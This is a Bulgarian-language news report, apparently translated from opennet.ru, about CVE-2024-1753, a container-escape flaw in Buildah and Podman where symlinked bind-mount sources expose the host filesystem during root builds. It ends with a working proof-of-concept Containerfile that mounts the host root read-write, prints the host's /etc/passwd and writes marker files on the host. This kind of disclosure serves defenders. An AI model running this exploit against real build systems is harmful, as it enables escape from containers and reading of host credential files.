В пакетите Buildah и Podman е установена уязвимост (CVE-2024-1753), която позволява получаване на пълен достъп до файловата система на хост-околната среда по време на изграждането на контейнери, стартирани с права root. В системи с включен SELinux достъпът до хостовата ФС е ограничен в режим на само четене. Засега корекцията е налична под формата на пач, който бе приет в кодовата база на Buildah преди малко.
Уязвимостта е причинена от факта, че при изпълнението на монтиране на части от ФС чрез командата «mount —bind» по време на сборката на етап RUN, аргументът с изходната директория (параметър «source=») не се проверява за съществуване в коренната ФС. Конфигурационният файл Containerfile, подготвен от злонамерен потребител, може да използва контейнерен образ, в който изходната директория за монтиране е представена като символна връзка към коренната ФС. В този случай операцията за монтиране ще доведе до монтиране на коренната ФС на хост-околна среда в контейнера, което ще позволи на етап RUN да получи пълен достъп до файловата система на хост-околната среда и да организира изход от контейнера по време на сборка с командите «buildah build» или «podman build».
Пример за злонамерен файл Containerfile, сборката на който с командата «podman build -f ~/Containerfile .» ще доведе до показването на съдържанието на /etc/passwd и създаването на файлове /BIND_BREAKEOUT и /etc/BIND_BREAKOUT2 в хост-околната среда: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo «ls контейнерен корен» RUN ls -l / RUN echo «С експлоатация показва хост корен, а не корена на контейнера, и създава /BIND_BREAKOUT в / на хоста» RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo «С експлоатация показва хост /etc/passwd, а не на контейнера, и създава /BIND_BREAKOUT2 в /etc на хоста» RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
Източник: opennet.ru
